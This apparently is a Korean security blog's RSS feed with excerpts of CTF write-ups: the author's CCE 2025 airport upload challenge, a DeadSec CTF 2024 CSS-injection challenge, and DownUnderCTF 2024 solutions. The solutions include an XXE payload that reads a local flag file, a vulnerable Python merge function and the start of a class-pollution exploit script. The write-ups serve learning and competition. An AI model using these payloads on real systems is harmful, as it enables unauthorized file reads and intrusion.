<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Home on whguswo</title><link>https://whguswo.github.io/</link><description>Recent content in Home on whguswo</description><generator>Hugo</generator><language>ko-KR</language><lastBuildDate>Wed, 17 Sep 2025 00:00:00 +0900</lastBuildDate><atom:link href="https://whguswo.github.io/index.xml" rel="self" type="application/rss+xml"/><item><title>CCE 2025 광명국제공항 write-up</title><link>https://whguswo.github.io/posts/2025-09-17-cce-2025-%EA%B4%91%EB%AA%85%EA%B5%AD%EC%A0%9C%EA%B3%B5%ED%95%AD-writeup/</link><pubDate>Wed, 17 Sep 2025 00:00:00 +0900</pubDate><guid>https://whguswo.github.io/posts/2025-09-17-cce-2025-%EA%B4%91%EB%AA%85%EA%B5%AD%EC%A0%9C%EA%B3%B5%ED%95%AD-writeup/</guid><description>&lt;h2 id="information"&gt;Information&lt;/h2&gt;&#10;&lt;p&gt;CCE 2025 본선에 출제했던 광명국제공항 문제에 대한 출제자 write-up입니다.&lt;/p&gt;&#10;&lt;h2 id="write-up"&gt;Write-up&lt;/h2&gt;&#10;&lt;p&gt;해당 문제는 공항 예약 서버와 불편사항 접수 서버가 각각 3000번 포트와 5000번 포트에서 실행중입니다.&lt;br&gt;&#10;먼저 reservation 서버의 기능을 살펴보면 항공권 예약 기능이 존재합니다.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// routes/reservation.js&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uploadDir&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;join&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;__dirname&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;..&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;uploads&amp;#39;&lt;/span&gt;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;fs&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;existsSync&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;uploadDir&lt;/span&gt;)) &lt;span style="color:#a6e22e"&gt;fs&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;mkdirSync&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;uploadDir&lt;/span&gt;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;storage&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;multer&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;diskStorage&lt;/span&gt;({&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;destination&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;req&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;file&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;cb&lt;/span&gt;) {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;cb&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;uploadDir&lt;/span&gt;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;filename&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;req&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;file&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;cb&lt;/span&gt;) {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;raw&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Date.&lt;span style="color:#a6e22e"&gt;now&lt;/span&gt;() &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;-&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; Math.&lt;span style="color:#a6e22e"&gt;round&lt;/span&gt;(Math.&lt;span style="color:#a6e22e"&gt;random&lt;/span&gt;() &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1e6&lt;/span&gt;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;hash&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;crypto&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;createHash&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;sha256&amp;#39;&lt;/span&gt;).&lt;span style="color:#a6e22e"&gt;update&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;raw&lt;/span&gt;).&lt;span style="color:#a6e22e"&gt;digest&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;hex&amp;#39;&lt;/span&gt;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ext&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;extname&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;file&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;originalname&lt;/span&gt;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;cb&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;hash&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ext&lt;/span&gt;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;});&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;disallowedExtensions&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Set&lt;/span&gt;([&lt;span style="color:#e6db74"&gt;&amp;#39;.js&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;.mjs&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;.cjs&amp;#39;&lt;/span&gt;]);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;upload&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;multer&lt;/span&gt;({&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;storage&lt;/span&gt;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fileFilter&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;req&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;file&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;cb&lt;/span&gt;) {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ext&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;extname&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;file&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;originalname&lt;/span&gt;).&lt;span style="color:#a6e22e"&gt;toLowerCase&lt;/span&gt;();&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;disallowedExtensions&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;has&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;ext&lt;/span&gt;)) {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;cb&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;cb&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;});&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;(...)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;router&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;post&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;/create&amp;#39;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;ensureAuth&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;upload&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;array&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;documents&amp;#39;&lt;/span&gt;), &lt;span style="color:#66d9ef"&gt;async&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;req&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;) =&amp;gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;flightId&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;passengers&lt;/span&gt; } &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;req&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;body&lt;/span&gt;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;mongoose&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;isValidObjectId&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;flightId&lt;/span&gt;)) {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;redirect&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;/reservation/create?error=invalidFlightId&amp;#39;&lt;/span&gt;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;flight&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Flight&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;findById&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;flightId&lt;/span&gt;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;flight&lt;/span&gt;) {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;redirect&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;/reservation/create?error=flightNotFound&amp;#39;&lt;/span&gt;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;numPassengers&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Number(&lt;span style="color:#a6e22e"&gt;passengers&lt;/span&gt;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;Number.isFinite(&lt;span style="color:#a6e22e"&gt;numPassengers&lt;/span&gt;) &lt;span style="color:#f92672"&gt;||&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;numPassengers&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;) {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;redirect&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;/reservation/create?error=invalidPassengers&amp;#39;&lt;/span&gt;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;documentPaths&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Array.&lt;span style="color:#a6e22e"&gt;isArray&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;req&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;files&lt;/span&gt;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;?&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;req&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;files&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;map&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;f&lt;/span&gt; =&amp;gt; &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;join&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;uploads&amp;#39;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;f&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;filename&lt;/span&gt;))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;:&lt;/span&gt; [];&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Reservation&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;create&lt;/span&gt;({&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;userId&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;req&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;session&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;userId&lt;/span&gt;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;flightId&lt;/span&gt;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;passengers&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;numPassengers&lt;/span&gt;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;documents&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;documentPaths&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; });&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;redirect&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;/reservation&amp;#39;&lt;/span&gt;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;});&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;항공편의 ID를 검증한 뒤에 항공권을 예약합니다.&lt;br&gt;&#10;이때 사용자는 파일을 업로드할 수 있고, 업로드하는 파일에는 제약이 없습니다.&lt;br&gt;&#10;또한 파일명은 &lt;code&gt;(hash).ext&lt;/code&gt; 형삭으로 저장되며 해당 파일명은 예약 조회 페이지에서 확인할 수 있습니다.&lt;/p&gt;</description></item><item><title>DeadSec CTF 2024 Review</title><link>https://whguswo.github.io/posts/2024-07-29-deadsec-ctf-2024-review/</link><pubDate>Mon, 29 Jul 2024 00:00:00 +0900</pubDate><guid>https://whguswo.github.io/posts/2024-07-29-deadsec-ctf-2024-review/</guid><description>&lt;h2 id="information"&gt;Information&lt;/h2&gt;&#10;&lt;p&gt;Participated with DeadSec CTF 2024 Challenge Author&lt;/p&gt;&#10;&lt;h2 id="comment"&gt;Comment&lt;/h2&gt;&#10;&lt;p&gt;Hello!, This is &lt;strong&gt;Little stranger&lt;/strong&gt;, who participated DeadSec CTF as a web challenge author of &lt;code&gt;Colorful board&lt;/code&gt;.&lt;br&gt;&#10;Thank you to everyone who enjoyed and praised the challenge, even though it was hastily created.&lt;br&gt;&#10;Next year, I will repay you with better quality challenges.&lt;/p&gt;&#10;&lt;h2 id="write-up"&gt;Write up&lt;/h2&gt;&#10;&lt;h3 id="webcolorful-board"&gt;web/Colorful Board&lt;/h3&gt;&#10;&lt;h4 id="desc"&gt;Desc&lt;/h4&gt;&#10;&lt;p&gt;First Flag is Admin&amp;rsquo;s username,&#10;Second Flag is Hidden Notice content.&lt;/p&gt;&#10;&lt;h4 id="code-review"&gt;Code Review&lt;/h4&gt;&#10;&lt;p&gt;You can register with username, password, personalColor.&lt;br&gt;&#10;You can inject css with personalColor. But you can&amp;rsquo;t xss because of xss sanitizer.&lt;/p&gt;</description></item><item><title>DownUnderCTF 2024</title><link>https://whguswo.github.io/posts/2024-07-16-downunderctf-2024/</link><pubDate>Tue, 16 Jul 2024 00:00:00 +0900</pubDate><guid>https://whguswo.github.io/posts/2024-07-16-downunderctf-2024/</guid><description>&lt;h2 id="information"&gt;Information&lt;/h2&gt;&#10;&lt;p&gt;Team: &lt;code&gt;DeadSec&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="write-up"&gt;Write up&lt;/h2&gt;&#10;&lt;h3 id="webzoo-feedback-form"&gt;web/zoo feedback form&lt;/h3&gt;&#10;&lt;h4 id="desc"&gt;Desc&lt;/h4&gt;&#10;&lt;p&gt;Simple xxe injection prob,&lt;br&gt;&#10;Inject exploit ( XML )&lt;/p&gt;&#10;&lt;h4 id="exploit"&gt;Exploit&lt;/h4&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!DOCTYPE root [&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!ENTITY xxe SYSTEM &amp;#34;file:///app/flag.txt&amp;#34;&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;]&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;root&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;feedback&amp;gt;&lt;/span&gt;&amp;amp;xxe;&lt;span style="color:#f92672"&gt;&amp;lt;/feedback&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/root&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="webco2"&gt;web/co2&lt;/h3&gt;&#10;&lt;h4 id="desc-1"&gt;Desc&lt;/h4&gt;&#10;&lt;p&gt;Python Class Pollution with improper merge function. ( Similar with Prototype Pollution )&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Vulenrable function&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;merge&lt;/span&gt;(src, dst):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; k, v &lt;span style="color:#f92672"&gt;in&lt;/span&gt; src&lt;span style="color:#f92672"&gt;.&lt;/span&gt;items():&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; hasattr(dst, &lt;span style="color:#e6db74"&gt;&amp;#39;__getitem__&amp;#39;&lt;/span&gt;):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; dst&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get(k) &lt;span style="color:#f92672"&gt;and&lt;/span&gt; type(v) &lt;span style="color:#f92672"&gt;==&lt;/span&gt; dict:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; merge(v, dst&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get(k))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; dst[k] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; v&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;elif&lt;/span&gt; hasattr(dst, k) &lt;span style="color:#f92672"&gt;and&lt;/span&gt; type(v) &lt;span style="color:#f92672"&gt;==&lt;/span&gt; dict:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; merge(v, getattr(dst, k))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; setattr(dst, k, v)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="exploit-1"&gt;Exploit&lt;/h4&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;url &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;https://web-co2-b55776733224c2b7.2024.ductf.dev&amp;#34;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;s &lt;span style="color:#f92672"&gt;=&lt;/span&gt; requests&lt;span style="color:#f92672"&gt;.&lt;/span&gt;session()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;payload &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {&lt;span style="color:#e6db74"&gt;&amp;#34;title&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;asdf&amp;#34;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#34;content&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;asdf&amp;#34;&lt;/span&gt;, 